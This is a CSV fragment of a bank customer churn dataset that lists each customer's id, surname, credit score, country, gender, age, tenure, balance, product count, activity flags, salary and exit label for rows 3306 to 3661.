+3306,15574072,Ch'ien,786,France,Female,62,8,0,1,1,1,165702.64,0 +3307,15633854,Sun,654,France,Female,40,3,0,2,1,0,167889.1,0 +3308,15618566,Jamieson,572,France,Female,38,7,0,2,1,1,133122.62,0 +3309,15733014,Nolan,813,France,Female,62,10,64667.95,2,0,1,140454.14,0 +3310,15753343,Barry,523,France,Female,28,2,121164.11,1,1,1,59938.81,0 +3311,15746076,Saunders,506,Spain,Male,50,3,0,2,1,0,12016.79,0 +3312,15608226,McMorran,513,Spain,Male,72,3,98903.06,1,1,1,81251.24,0 +3313,15605684,Phelan,664,France,Female,31,7,104158.84,1,1,0,134169.85,0 +3314,15638988,Fu,684,France,Male,54,6,0,2,1,1,94888.6,0 +3315,15628767,Hotchin,608,Spain,Female,63,3,139529.93,2,1,1,175696.16,1 +3316,15737977,Aksyonov,527,France,Female,25,6,0,2,0,1,96758.58,0 +3317,15758116,Rossi,666,France,Male,53,5,64646.7,1,1,0,128019.48,1 +3318,15575119,Hughes,779,France,Male,71,3,0,2,1,1,146895.36,1 +3319,15625126,Duncan,629,France,Female,40,6,0,2,1,1,139356.3,0 +3320,15567114,McGarry,430,France,Male,35,1,118894.22,1,0,0,2923.61,0 +3321,15672242,Aksenov,712,France,Male,24,2,0,1,0,1,121232.51,0 +3322,15681327,Akhtar,682,France,Male,30,9,0,2,1,1,2053.42,0 +3323,15802585,Pisani,634,France,Female,41,8,68213.99,1,1,1,6382.46,0 +3324,15740630,Pisano,487,Spain,Female,31,1,0,2,1,0,158750.13,0 +3325,15815420,McDaniels,808,Spain,Male,47,8,139196,1,0,1,74028.36,0 +3326,15711468,Tennant,527,France,Female,32,7,0,2,1,1,44099.75,0 +3327,15799626,Donaghy,637,Germany,Male,50,4,126345.55,1,0,1,17323,1 +3328,15659325,Todd,802,Spain,Male,40,5,0,2,1,1,175043.69,0 +3329,15651352,Tobenna,529,France,Female,38,2,0,1,1,0,146388.85,1 +3330,15684925,Vicars,850,France,Female,43,3,0,2,0,0,2465.8,0 +3331,15657439,Chao,738,France,Male,18,4,0,2,1,1,47799.15,0 +3332,15574122,Tien,817,France,Male,34,5,129278.43,1,0,0,165562.84,0 +3333,15720508,Hsing,735,France,Male,31,3,119558.35,1,0,0,72927.68,0 +3334,15599078,Yang,619,Germany,Female,41,5,92467.58,1,1,0,38270.47,0 +3335,15702300,Walker,671,France,Male,27,5,0,2,0,0,120893.07,0 +3336,15660735,T'ang,581,Spain,Female,31,6,0,2,1,0,188377.21,0 +3337,15671390,Chukwukere,690,Spain,Male,36,10,0,2,1,0,55902.93,0 +3338,15647385,Ch'iu,579,Spain,Male,56,4,99340.83,1,0,0,4523.74,1 +3339,15739223,Pai,688,Spain,Female,24,3,0,2,1,1,102195.16,0 +3340,15631305,Franklin,599,Spain,Female,28,4,126833.79,2,1,0,60843.09,1 +3341,15809263,Y?,729,Germany,Male,29,5,109676.52,1,1,1,25548.47,0 +3342,15640866,Peng,718,France,Female,29,3,0,1,0,1,134462.29,0 +3343,15775663,Otitodilichukwu,712,Germany,Male,53,6,134729.99,2,1,1,132702.64,0 +3344,15631800,Pagnotto,474,France,Male,37,3,98431.37,1,0,0,75698.44,0 +3345,15654292,Vessels,565,Germany,Male,33,8,130368.31,2,1,0,105642.43,0 +3346,15648320,Heller,658,France,Female,31,7,123974.96,1,1,0,102153.75,0 +3347,15726747,Donaldson,714,France,Male,63,4,138082.16,1,0,1,166677.54,0 +3348,15694510,Ifeanyichukwu,725,France,Male,45,1,129855.32,1,0,0,24218.65,0 +3349,15572291,Kao,825,France,Male,40,6,132308.22,1,0,0,117122.5,0 +3350,15603465,Dunn,665,Germany,Female,45,5,155447.65,2,1,0,51871.95,1 +3351,15685628,Calabresi,670,Spain,Male,35,2,124268.64,2,0,1,84321.03,0 +3352,15792729,Holland,474,Germany,Female,34,9,176311.36,1,1,0,160213.27,0 +3353,15767414,Calabresi,591,France,Male,40,2,99886.42,2,1,1,88695.19,0 +3354,15568044,Butusov,508,France,Female,31,7,0,2,1,1,6123.15,0 +3355,15751333,Atkinson,695,France,Female,36,2,0,2,0,1,167749.54,0 +3356,15623062,Vasilyeva,660,Germany,Male,24,5,85089.3,1,1,1,71638,0 +3357,15713621,Mollison,687,Germany,Male,41,10,134318.21,2,1,1,198064.52,0 +3358,15670668,Webb,658,Germany,Male,29,5,75395.53,2,0,1,54914.92,0 +3359,15750638,Obiajulu,705,Germany,Female,33,5,116765.7,1,0,0,190659.17,1 +3360,15747878,Aiken,739,Spain,Male,60,4,0,1,1,1,51637.67,0 +3361,15726796,Brabyn,844,France,Male,38,7,111501.66,1,1,1,119333.38,0 +3362,15754952,Su,602,Germany,Female,48,7,76595.08,2,0,0,127095.14,0 +3363,15652192,Traeger,759,France,Female,33,9,160541.36,2,0,0,93541.14,0 +3364,15681924,Ekwueme,747,Germany,Male,38,2,129728.6,1,1,0,89289.54,0 +3365,15763544,Thompson,673,France,Male,47,1,0,2,0,0,108762.16,0 +3366,15764431,Chinwenma,671,Spain,Female,34,5,130929.02,4,1,1,28238.25,1 +3367,15684010,Tuan,640,Germany,Female,74,2,116800.25,1,1,1,34130.43,0 +3368,15648881,Tsai,581,Germany,Male,40,0,101016.53,1,0,1,7926.35,1 +3369,15733303,Liu,630,France,Male,67,5,0,2,1,1,27330.27,0 +3370,15643294,Robinson,703,France,Female,33,8,190566.65,1,1,1,79997.14,0 +3371,15749905,Carr,698,Spain,Female,47,6,0,1,1,0,50213.81,1 +3372,15625175,Palerma,742,Germany,Female,43,6,97067.69,1,0,1,60920.03,1 +3373,15643967,Chineze,652,France,Female,37,4,92208.54,1,0,1,197699.8,1 +3374,15578251,Fang,644,France,Male,37,2,186347.97,2,1,0,92809.73,0 +3375,15772573,Simpson,735,Spain,Male,55,2,103176.62,1,0,1,163516.16,0 +3376,15733234,Moretti,777,France,Female,58,4,0,1,1,1,62449.07,1 +3377,15721582,Hale,644,Germany,Female,40,4,77270.08,2,1,1,115800.1,1 +3378,15628219,Benson,665,Germany,Female,37,3,111911.63,1,1,1,110359.68,1 +3379,15571302,Estep,529,Germany,Male,72,5,94216.05,1,1,1,78695.68,0 +3380,15637178,Mishina,803,Spain,Female,45,7,0,2,1,1,128378.04,0 +3381,15601184,Abramovich,604,Spain,Female,26,3,0,2,1,0,155248.62,0 +3382,15629511,Lavrentiev,738,France,Male,49,6,106770.82,1,1,0,123499.27,0 +3383,15570629,Alexeyeva,655,Germany,Female,72,5,138089.97,2,1,1,99920.41,0 +3384,15665766,T'ang,698,Germany,Male,39,9,133191.19,2,0,1,53289.49,0 +3385,15693732,Kilgour,775,France,Female,66,9,0,2,1,1,67622.34,0 +3386,15765982,Chin,735,France,Male,41,7,74135.85,1,1,1,11783.1,1 +3387,15582016,Fiorentini,766,Spain,Male,41,6,99208.46,2,1,0,62402.38,0 +3388,15798024,Lori,537,Germany,Male,84,8,92242.34,1,1,1,186235.98,0 +3389,15588622,Marchesi,599,Germany,Male,25,7,108380.72,1,1,1,79005.95,0 +3390,15724863,Sheppard,420,Spain,Female,55,4,91893.32,1,1,0,144870.28,1 +3391,15618213,Nnanna,674,France,Female,32,7,85757.93,1,1,1,95481,0 +3392,15780411,Norris,570,France,Female,46,3,0,2,0,0,820.46,0 +3393,15725429,Vincent,623,Germany,Male,33,8,96759.42,1,1,1,174777.98,0 +3394,15600626,Bradley,710,France,Male,30,6,0,2,1,1,8991.17,0 +3395,15668460,Bellucci,466,France,Male,29,6,0,2,1,1,2797.27,0 +3396,15576263,Clements,759,France,Female,22,5,0,1,1,0,22303.17,0 +3397,15720354,Knowles,581,France,Male,71,4,0,2,1,1,197562.08,0 +3398,15691624,Chidiebere,820,France,Male,33,2,132150.26,2,1,0,23067.97,0 +3399,15793196,Kelly,759,France,Male,41,9,0,2,0,1,190294.12,0 +3400,15633352,Okwukwe,628,France,Female,31,6,175443.75,1,1,0,113167.17,1 +3401,15750874,Onyemere,676,France,Male,31,3,78990.15,1,1,1,124777.14,0 +3402,15588923,Murphy,591,France,Female,33,4,113743.37,1,1,0,124625.08,0 +3403,15715745,Elliott,690,France,Female,26,5,157624.84,1,1,1,49599.27,0 +3404,15611800,Loggia,624,France,Female,62,7,125163.62,2,1,1,151411.5,0 +3405,15576928,Walsh,573,France,Female,23,2,0,1,1,0,122964.18,0 +3406,15793693,Mahomed,694,France,Male,60,9,0,1,1,1,57088.97,0 +3407,15581252,Dolgorukova,632,Spain,Female,29,7,80922.75,1,1,0,7820.78,0 +3408,15797760,Bogdanov,632,France,Male,40,3,193354.86,2,1,0,149188.41,0 +3409,15790564,She,832,Germany,Female,40,9,107648.94,2,1,1,134638.97,0 +3410,15593736,Cook,598,Germany,Female,46,7,131769.04,1,0,0,184980.23,1 +3411,15595937,Bruno,430,Germany,Male,36,1,138992.48,2,0,0,122373.42,0 +3412,15815628,Moysey,711,France,Female,37,8,113899.92,1,0,0,80215.2,0 +3413,15782802,Beneventi,582,Germany,Male,26,6,114450.32,1,1,1,14081.64,0 +3414,15627412,Ferri,605,France,Male,39,3,0,2,1,0,199390.45,0 +3415,15734609,Skinner,657,France,Female,37,2,0,2,1,1,7667.48,0 +3416,15710689,Angel,578,Spain,Male,40,6,63609.92,1,0,0,74965.61,1 +3417,15565806,Toosey,532,France,Male,38,9,0,2,0,0,30583.95,0 +3418,15815530,Chin,612,France,Female,42,10,75497.51,1,0,0,149682.78,0 +3419,15632272,Lung,792,France,Female,42,2,0,2,1,0,92664.09,0 +3420,15684103,Mellor,674,France,Female,26,10,0,2,1,1,138423.1,0 +3421,15654519,Hassall,680,France,Male,31,1,0,2,1,1,3148.2,0 +3422,15767722,Richardson,593,France,Female,39,0,117704.73,1,1,0,197933.5,0 +3423,15654346,Poninski,679,Germany,Male,35,1,130463.55,2,1,1,37341.17,0 +3424,15660147,Dore,493,Spain,Male,32,8,46161.18,1,1,1,79577.4,0 +3425,15814998,Bonham,688,Spain,Male,42,5,0,2,0,0,197602.29,0 +3426,15802207,Ibezimako,769,Germany,Male,43,4,110182.54,2,1,1,87537.32,0 +3427,15658668,Hunter,581,Spain,Male,49,10,0,2,0,0,41623.59,0 +3428,15715079,Bold,465,France,Male,41,9,117221.15,1,1,0,168280.95,0 +3429,15570360,Wan,641,France,Female,35,4,0,2,0,0,125986.18,0 +3430,15674678,Bradley,731,Germany,Female,43,9,79120.27,1,0,0,548.52,1 +3431,15780925,Tretyakova,625,France,Male,37,1,177069.24,2,1,1,96088.54,0 +3432,15688193,Graham,468,France,Male,36,3,61636.97,1,0,0,107787.42,0 +3433,15778219,Izmailov,790,France,Male,26,5,0,1,1,0,20510.79,0 +3434,15696514,Calabrese,587,Germany,Female,37,6,104414.03,1,1,0,192026.02,0 +3435,15712303,Valentin,692,France,Male,66,4,159732.02,1,1,1,118188.15,0 +3436,15719090,Osonduagwuike,676,Germany,Female,34,4,89437.03,1,1,1,189540.95,0 +3437,15735632,Williamson,571,France,Male,41,8,0,1,1,1,63736.17,0 +3438,15619436,Pan,700,France,Female,32,3,0,1,0,0,95740.37,0 +3439,15722404,Carpenter,445,France,Female,30,3,0,2,1,1,127939.19,0 +3440,15662063,McIver,746,France,Male,36,7,142400.77,1,1,1,193438.69,0 +3441,15745605,Trevisan,722,France,Female,47,2,88011.4,1,1,1,90655.94,1 +3442,15636658,Rozhkova,596,France,Male,36,2,0,2,1,1,12067.39,0 +3443,15784130,He,850,Germany,Female,30,8,154870.28,1,1,1,54191.38,0 +3444,15606755,Moretti,597,Spain,Female,46,4,0,2,1,0,58667.16,1 +3445,15801699,Fishbourne,436,Spain,Male,43,5,0,2,1,1,35687.43,0 +3446,15784097,Gibson,660,Germany,Male,28,1,118402.25,2,1,0,14288.93,0 +3447,15764654,Zikoranachidimma,649,France,Male,37,9,87374.88,2,1,1,247.36,0 +3448,15612092,Palmer,646,Germany,Male,32,8,105397.8,1,1,0,78111.84,1 +3449,15610903,Chukwueloka,560,Spain,Female,31,5,125341.69,1,1,0,79547.39,0 +3450,15705777,Real,710,Germany,Male,49,10,129164.88,1,1,1,193266.72,0 +3451,15661936,Chikelu,513,France,Male,40,3,141004.46,1,1,0,105028.46,0 +3452,15700864,Fiorentini,607,France,Female,21,0,0,2,1,0,116106.52,0 +3453,15722965,Yefimova,757,France,Male,57,3,89079.41,1,1,1,53179.21,1 +3454,15737521,Ball,619,Germany,Male,40,9,103604.31,2,0,0,140947.05,0 +3455,15814465,Ch'in,612,France,Male,24,1,182705.05,1,1,1,171837.06,0 +3456,15580988,Odell,842,France,Male,29,8,0,2,1,1,123437.05,0 +3457,15789974,Enemuo,713,France,Male,33,6,94598.48,1,0,0,197519.66,1 +3458,15713370,Hunter,657,Spain,Male,36,8,188241.05,2,0,0,183058.51,1 +3459,15748673,Nepean,770,France,Female,37,9,0,2,0,0,22710.72,0 +3460,15754919,Nwebube,773,France,Female,40,10,0,2,0,1,69303.15,0 +3461,15641662,Enticknap,470,Germany,Male,39,5,117469.91,2,0,0,63705.9,0 +3462,15813422,Lu,781,Spain,Male,35,4,80790.74,1,1,0,116429.51,0 +3463,15713596,Ugochukwu,428,France,Female,62,1,107735.93,1,0,1,58381.77,0 +3464,15791216,Mann,600,Germany,Male,43,8,133379.41,1,1,0,177378.66,1 +3465,15689031,Murphy,697,Spain,Female,37,7,168066.87,1,1,0,35450.53,0 +3466,15763704,Docherty,692,Germany,Female,43,2,69014.49,2,0,0,164621.43,0 +3467,15631339,Adams,791,France,Male,28,4,0,1,1,0,174435.48,0 +3468,15771509,Hirst,538,Germany,Female,42,1,98548.62,2,0,1,94047.75,0 +3469,15769586,Horan,820,France,Female,49,1,0,2,1,1,119087.25,0 +3470,15656096,Cumbrae-Stewart,679,Spain,Female,26,3,76554.06,1,1,1,184800.27,0 +3471,15585280,Kinney,649,France,Female,36,2,0,2,0,1,75035.48,0 +3472,15743582,T'ang,632,France,Female,27,3,107375.82,1,1,1,62703.38,0 +3473,15761692,Muir,594,France,Male,40,9,122417.17,2,0,1,190882.69,0 +3474,15627840,Toscano,682,France,Female,42,0,0,1,0,1,91981.85,1 +3475,15778861,Wallace,720,Spain,Male,33,6,97188.62,1,0,0,91881.29,0 +3476,15770554,Fraser,769,France,Male,31,4,61297.05,2,1,1,7118.02,0 +3477,15806956,Iqbal,746,Spain,Male,30,1,112666.67,1,0,0,11710.4,1 +3478,15701908,Nina,623,Spain,Female,40,7,0,1,1,1,25904.12,0 +3479,15736990,Chuang,537,France,Male,28,3,157842.07,1,1,0,86911.49,0 +3480,15743714,Ch'ien,468,France,Male,46,7,91443.75,1,1,0,10958.18,0 +3481,15807993,Bruno,588,Germany,Female,30,0,110148.49,1,1,0,5790.9,1 +3482,15644686,Kennedy,729,Spain,Female,34,9,53299.96,2,1,1,42855.97,0 +3483,15677377,Lawrence,543,Spain,Male,37,3,0,2,1,1,78915.68,0 +3484,15626412,Mort,499,Spain,Male,39,6,0,2,1,1,81409,0 +3485,15643679,Goliwe,784,Germany,Male,28,2,70233.74,2,1,1,179252.73,0 +3486,15728456,Martinez,604,France,Male,33,3,0,1,1,0,42171.13,1 +3487,15630661,Vasilyev,614,Spain,Female,25,10,75212.28,1,1,0,58965.04,0 +3488,15734044,Black,671,France,Female,31,7,41299.03,1,0,1,102681.32,0 +3489,15705001,Napolitani,587,Spain,Female,35,3,83286.56,1,1,0,125553.52,0 +3490,15809817,Ch'en,593,Spain,Male,43,10,0,2,0,0,53478.02,0 +3491,15809137,Sagese,453,France,Male,29,6,0,1,0,0,198376.02,1 +3492,15751593,Fraser,570,Germany,Male,35,6,85668.59,1,1,0,105525.36,0 +3493,15626491,Hughes,655,France,Female,45,7,57327.04,1,0,1,47349,0 +3494,15765461,Giles,632,Spain,Male,47,3,0,2,1,0,178822.32,0 +3495,15568120,Lacross,681,France,Female,37,7,69609.85,1,1,1,72127.83,0 +3496,15787161,Pisani,591,Germany,Male,46,4,129269.27,1,1,0,163504.33,0 +3497,15812324,King,779,France,Male,27,1,0,2,1,1,190623.02,0 +3498,15588944,Maughan,456,France,Female,63,1,165350.61,2,0,0,140758.07,1 +3499,15694253,Palerma,686,France,Female,41,7,152105.57,2,0,1,132374.41,0 +3500,15759566,Tochukwu,617,France,Male,74,10,0,2,1,1,53949.98,0 +3501,15675675,Slate,850,France,Female,32,5,106290.64,1,1,0,121982.73,0 +3502,15802060,Ch'ang,646,Germany,Female,30,10,100548.67,2,0,0,136983.77,0 +3503,15660505,Romani,735,Germany,Male,46,2,106344.95,1,1,0,114371.33,1 +3504,15782630,Genovese,543,France,Male,35,5,137482.19,1,0,0,62389.35,0 +3505,15700710,Chiebuka,490,France,Female,37,3,116465.53,1,0,1,24435.77,0 +3506,15742834,Liao,640,France,Male,45,1,0,1,1,1,10908.33,0 +3507,15806511,Berry,445,Spain,Male,45,10,0,2,0,1,90977.48,0 +3508,15608166,Fallaci,761,France,Male,36,9,127637.92,1,1,1,81062.93,0 +3509,15614230,T'an,426,France,Female,34,3,0,2,1,1,61230.83,0 +3510,15729958,Wilkinson,777,France,Male,37,1,0,1,1,1,126837.72,0 +3511,15800814,Palerma,534,France,Male,35,2,81951.74,2,1,0,115668.53,0 +3512,15674727,Lazarev,777,France,Female,42,5,147531.82,1,1,1,38819.45,0 +3513,15657779,Boylan,806,Spain,Male,18,3,0,2,1,1,86994.54,0 +3514,15801395,Warren,790,France,Female,33,10,135120.72,1,0,0,195204.99,0 +3515,15757911,Trevisani,643,Spain,Female,32,2,0,1,0,0,131301.74,0 +3516,15665340,Trevisano,584,Spain,Female,37,8,0,2,0,1,100835.19,0 +3517,15787151,Liao,638,France,Female,34,7,0,2,1,1,198969.78,0 +3518,15757821,Burgess,771,Spain,Male,18,1,0,2,0,0,41542.95,0 +3519,15600688,Liston,600,France,Female,39,5,0,2,0,0,118272.07,0 +3520,15594878,Thompson,661,Spain,Female,41,5,28082.95,1,1,0,69586.27,1 +3521,15569248,Milanesi,554,France,Female,43,10,0,2,1,0,149629.13,1 +3522,15812706,Mazure,627,Spain,Male,49,4,111087.5,1,0,1,146680.25,0 +3523,15645045,Rudduck,659,France,Female,38,9,0,2,1,1,132809.18,0 +3524,15766746,Darwin,835,France,Male,35,6,127120.07,1,1,0,28707.69,0 +3525,15700383,Uvarova,763,France,Female,35,7,115651.6,2,1,1,104706.29,0 +3526,15632551,Buccho,625,Germany,Male,31,4,77743.01,2,1,0,75335.68,0 +3527,15795129,Gallo,799,France,Female,30,9,0,2,1,0,136827.96,0 +3528,15650545,Tomlinson,849,France,Male,69,7,71996.09,1,1,1,139065.94,0 +3529,15612769,Carr,692,France,Male,28,5,61581.97,1,1,1,70179.91,0 +3530,15710853,Ts'ui,623,France,Female,24,5,0,2,1,0,116160.04,0 +3531,15623712,Coates,453,Spain,Female,42,5,0,3,1,0,83008.49,1 +3532,15653251,Hickey,408,France,Female,84,8,87873.39,1,0,0,188484.52,1 +3533,15755077,Norton,778,Germany,Female,37,0,105617.73,2,1,1,133699.82,1 +3534,15808557,Mancini,695,France,Female,42,5,0,1,0,1,72172.13,1 +3535,15614687,Tien,677,Germany,Female,44,4,148770.61,2,1,1,191057.76,0 +3536,15626882,Stobie,662,Spain,Male,37,5,94901.09,1,1,1,48233.75,0 +3537,15748034,Drakeford,534,France,Male,29,7,174851.9,1,1,1,79178.31,0 +3538,15632324,Pisani,602,France,Male,59,7,0,2,1,1,162347.05,0 +3539,15761023,Murphy,554,Germany,Female,43,2,120847.11,1,1,0,7611.61,1 +3540,15761453,Kovalev,667,France,Male,42,6,0,1,1,0,88890.05,0 +3541,15646726,Crawford,672,France,Male,43,5,0,1,0,0,63833.09,0 +3542,15637169,Maclean,838,Spain,Female,67,4,103267.8,1,1,1,78310.04,0 +3543,15636024,Blackburn,692,Spain,Female,34,4,109699.08,1,1,1,37898.91,0 +3544,15801218,Bermudez,675,France,Male,49,8,135133.39,1,0,1,179521.24,1 +3545,15642655,Savage,731,Spain,Male,33,1,0,1,1,0,130726.96,0 +3546,15690130,Wyatt,468,France,Female,32,8,137649.47,1,0,0,198714.29,0 +3547,15653753,Chiemenam,542,Spain,Male,43,6,113567.94,1,1,0,89543.25,0 +3548,15641359,Shao,662,Spain,Female,35,6,0,2,0,0,2423.9,1 +3549,15776827,Langdon,770,Germany,Male,37,5,141547.26,2,0,1,180326.83,0 +3550,15647725,Napolitano,675,France,Female,61,5,62055.17,3,1,0,166305.16,1 +3551,15648455,Kung,647,Germany,Male,51,4,131156.76,1,1,0,29883.63,0 +3552,15580629,Blackwood,604,France,Male,31,6,134837.58,1,1,0,192029.19,0 +3553,15730161,Marcelo,833,France,Female,39,3,0,2,1,0,1710.89,0 +3554,15626612,Yin,741,Spain,Male,40,4,104784.23,1,1,0,135163.76,1 +3555,15662865,Storey,658,Spain,Male,36,1,0,2,0,1,84927.42,0 +3556,15629094,Fomin,528,France,Female,36,1,156948.41,1,1,1,149912.28,1 +3557,15651823,Nkemjika,590,France,Female,60,6,147751.75,1,1,0,88206.04,1 +3558,15594827,Glasgow,675,France,Male,34,1,124619.33,2,0,1,163667.56,0 +3559,15786392,Chen,765,France,Male,41,4,124182.21,1,0,0,100153.43,0 +3560,15727353,Ch'ang,650,France,Female,64,7,142028.36,1,1,0,32275.09,1 +3561,15733777,Evans,817,France,Male,44,8,0,1,0,0,65501.91,1 +3562,15614302,Crotty,699,Germany,Female,31,10,125837.86,2,1,0,189392.66,0 +3563,15723263,Cocci,495,Germany,Female,34,9,117160.32,1,1,1,116069.24,1 +3564,15687270,Iroawuchi,491,Spain,Female,61,8,0,2,0,1,139861.53,0 +3565,15803121,Chia,847,France,Male,51,5,97565.74,1,0,0,144184.06,1 +3566,15598700,Hysell,676,Spain,Female,30,5,0,2,0,1,157888.5,0 +3567,15741875,Williamson,746,Spain,Female,25,3,104833.79,1,0,0,71911.3,0 +3568,15631709,Ginikanwa,470,Spain,Female,31,2,101675.22,2,1,0,45033.75,0 +3569,15672970,Chigolum,714,Spain,Male,20,3,0,2,0,1,150465.93,0 +3570,15761670,Morley,695,France,Female,50,8,0,1,1,0,126381.6,1 +3571,15706005,Roberts,674,France,Male,46,2,174701.05,1,1,0,90189.72,1 +3572,15790336,Tokareva,664,Germany,Male,36,6,71142.77,2,1,0,122433.09,0 +3573,15754267,Fleming,697,Germany,Male,31,3,108805.42,2,0,1,123825.83,0 +3574,15791988,Chinomso,670,France,Male,68,4,0,2,1,1,11426.7,0 +3575,15683375,Compton,541,France,Female,32,4,0,1,1,1,114951.42,0 +3576,15625151,Wan,640,France,Female,66,9,116037.76,1,0,1,184636.05,0 +3577,15635285,Taylor,647,France,Male,28,8,0,2,1,1,91055.27,0 +3578,15574296,Kambinachi,757,France,Male,23,2,80673.96,2,1,0,93991.65,0 +3579,15711618,Chang,704,Germany,Female,39,1,124640.51,1,1,0,116511.12,1 +3580,15670943,See,778,Germany,Male,31,9,182275.23,2,1,0,190631.23,0 +3581,15634359,Dyer,639,Germany,Female,41,5,98635.77,1,1,0,199970.74,0 +3582,15586629,Campbell,637,France,Male,33,5,0,2,1,0,139947.17,0 +3583,15588461,Cremonesi,686,France,Male,35,4,0,1,1,0,8816.37,0 +3584,15773221,Harris,577,Spain,Male,43,8,79757.21,1,1,0,135650.72,1 +3585,15664227,Threatt,506,Germany,Male,28,8,53053.76,1,0,1,24577.34,0 +3586,15741745,Lane,757,France,Male,28,7,120911.75,2,1,1,131249.46,0 +3587,15652626,Grave,826,France,Male,55,4,115285.85,1,1,0,140126.17,0 +3588,15599410,Stanley,721,France,Male,41,2,0,2,1,0,168219.75,0 +3589,15571958,McIntosh,489,Spain,Male,40,3,221532.8,1,1,0,171867.08,0 +3590,15785406,Watts,446,France,Female,51,4,105056.13,1,0,0,70613.52,0 +3591,15687884,Alekseyeva,677,France,Male,37,3,88363.03,1,0,1,117946.3,0 +3592,15621685,Davies,769,France,Male,29,2,123757.52,2,1,0,84872.66,0 +3593,15628886,Matlock,677,Spain,Male,56,5,123959.97,1,1,1,60590.72,1 +3594,15699325,Fedorova,555,Germany,Female,62,10,114822.64,1,0,1,8444.5,0 +3595,15578369,Chiedozie,652,Germany,Female,37,9,145219.3,1,1,0,159132.83,0 +3596,15654156,Marcelo,722,Germany,Female,32,5,106807.64,1,1,1,76998.69,0 +3597,15707199,Cooper,643,France,Male,36,0,148159.71,1,0,0,55835.66,0 +3598,15671630,McMillan,796,Germany,Female,40,1,99745.95,1,1,0,177524.19,0 +3599,15632079,Hardy,720,Germany,Female,37,8,156282.79,1,1,0,45985.52,0 +3600,15767921,Madukwe,613,France,Male,41,7,0,2,1,0,60297.72,0 +3601,15573599,Adamson,506,France,Female,57,6,0,2,0,1,194421.12,1 +3602,15747208,Watt,608,France,Male,50,6,0,1,1,0,93568.77,1 +3603,15582762,Mazzanti,667,Spain,Male,77,2,0,1,1,1,34702.92,0 +3604,15772528,Mishin,750,France,Female,47,7,121376.15,2,1,0,54473.6,1 +3605,15755798,Feng,610,France,Male,33,4,111582.11,1,0,0,113943.17,0 +3606,15788683,Kang,588,Germany,Female,34,10,129417.82,1,1,0,153727.32,0 +3607,15616922,Kelly,479,France,Female,26,1,0,2,1,1,19116.97,0 +3608,15771855,Yu,682,France,Male,37,5,0,2,0,1,112554.68,0 +3609,15601873,Bull,677,France,Female,36,7,0,1,1,0,47318.75,0 +3610,15657868,Serra,850,Germany,Male,40,6,94607.08,1,1,0,36690.49,0 +3611,15711716,Ferguson,580,France,Female,56,1,131368.3,1,1,0,106918.67,1 +3612,15734246,She,746,France,Female,21,8,166883.07,2,0,1,194563.65,0 +3613,15792151,Hamilton,635,Spain,Female,37,3,0,2,1,0,91086.73,0 +3614,15770159,Nnanna,664,Germany,Male,25,6,172812.72,2,1,1,108008.65,0 +3615,15747649,Summerville,558,Germany,Female,36,0,126606.63,2,1,1,172363.52,0 +3616,15639357,Allan,415,France,Male,46,9,134950.19,3,0,0,178587.36,1 +3617,15738907,Tobenna,798,France,Female,60,6,96956.1,1,1,0,31907.44,1 +3618,15663446,Volkova,792,Germany,Female,29,4,107601.79,1,1,0,18922.18,1 +3619,15750867,Nucci,489,Germany,Female,46,8,92060.06,1,1,0,147222.95,1 +3620,15715939,Wright,730,France,Male,33,0,0,2,1,0,1474.79,0 +3621,15763806,Astorga,773,France,Male,41,4,0,2,1,1,24924.92,0 +3622,15637993,Pokrovsky,711,France,Male,36,9,137688.71,1,1,1,46884.1,0 +3623,15720338,Mazzanti,592,Spain,Male,55,8,85845.43,2,1,1,128918.42,0 +3624,15627162,Blesing,695,Germany,Male,27,6,125552.96,1,1,0,105291.26,0 +3625,15596710,Ku,640,France,Female,33,1,167298.42,1,0,1,145381.65,0 +3626,15781678,Pisani,470,Spain,Male,31,4,55732.92,2,1,1,103792.53,0 +3627,15634968,Hsueh,789,Germany,Female,37,6,110689.07,1,1,1,71121.04,1 +3628,15609475,Ricci,604,Spain,Female,39,7,98544.11,1,1,1,52327.57,0 +3629,15573319,Azubuike,493,Germany,Female,35,8,178317.6,1,0,0,197428.64,0 +3630,15738291,Nevzorova,671,France,Female,48,8,115713.84,2,0,0,83210.84,0 +3631,15782456,Odili,656,France,Male,46,9,143267.14,2,0,0,193099.43,0 +3632,15794841,Kung,739,Spain,Male,19,5,89750.21,1,1,0,193008.52,0 +3633,15684696,Lei,560,Spain,Female,26,3,116576.45,1,1,0,157567.37,0 +3634,15629846,Sheehan,827,Germany,Female,47,8,143001.5,2,1,0,108977.5,0 +3635,15674442,Kung,681,France,Male,23,7,157761.56,1,0,0,147759.84,0 +3636,15571689,Kelechi,740,France,Female,37,5,0,2,1,1,27528.4,0 +3637,15730469,Anenechi,663,Spain,Male,31,4,103430.11,2,0,1,36479.27,0 +3638,15809320,McElhone,845,Spain,Female,52,0,0,1,1,0,31726.76,1 +3639,15684367,Chigbogu,555,Spain,Male,27,5,0,2,0,0,96398.51,0 +3640,15793049,Atkins,680,Germany,Female,48,8,115115.38,1,1,0,139558.6,1 +3641,15603665,Colombo,638,Germany,Female,39,0,122501.28,2,1,1,95007.8,0 +3642,15613623,Tilley,640,Spain,Male,62,3,0,1,1,1,101663.47,0 +3643,15569572,Sopuluchi,778,France,Male,42,6,0,2,1,1,106197.44,0 +3644,15698791,Udinesi,679,France,Male,45,3,146758.24,1,1,0,48466.89,0 +3645,15626233,Onyekachi,593,France,Female,32,3,0,2,1,1,151978.36,0 +3646,15607263,McCartney,788,France,Male,55,3,0,1,0,1,13288.46,1 +3647,15610900,Thompson,770,France,Female,70,9,110738.89,1,1,0,22666.77,1 +3648,15624775,Onyeoruru,729,France,Male,67,2,94203.8,1,0,1,102391.06,0 +3649,15691703,Shih,545,France,Male,47,8,105792.49,1,0,1,67830.2,1 +3650,15745355,Golibe,597,France,Male,41,4,153198.23,1,1,1,92090.36,0 +3651,15724955,Lucchesi,537,France,Male,38,3,0,2,0,0,141023.01,0 +3652,15628999,Townsend,732,France,Male,79,10,61811.23,1,1,1,104222.8,0 +3653,15654341,Chao,542,France,Male,34,8,101116.06,1,1,0,196395.05,0 +3654,15744240,Shen,688,Germany,Female,46,0,74458.25,1,0,1,6866.31,0 +3655,15632365,Booth,542,Germany,Male,33,8,142871.27,2,0,0,77737.86,0 +3656,15729689,Chan,754,Germany,Male,35,6,98585.94,2,0,1,106116.84,0 +3657,15759284,Yeh,750,France,Female,37,6,0,1,1,1,117948,1 +3658,15602124,Badgery,731,France,Male,30,7,0,2,1,1,184581.68,0 +3659,15661903,Hsia,699,France,Female,43,3,80764.03,1,1,0,199378.58,1 +3660,15664668,Zarate,534,France,Female,42,9,144801.97,1,0,1,12483.39,1 +3661,15736431,Congreve,494,Spain,Male,27,2,0,2,1,0,22404.64,0 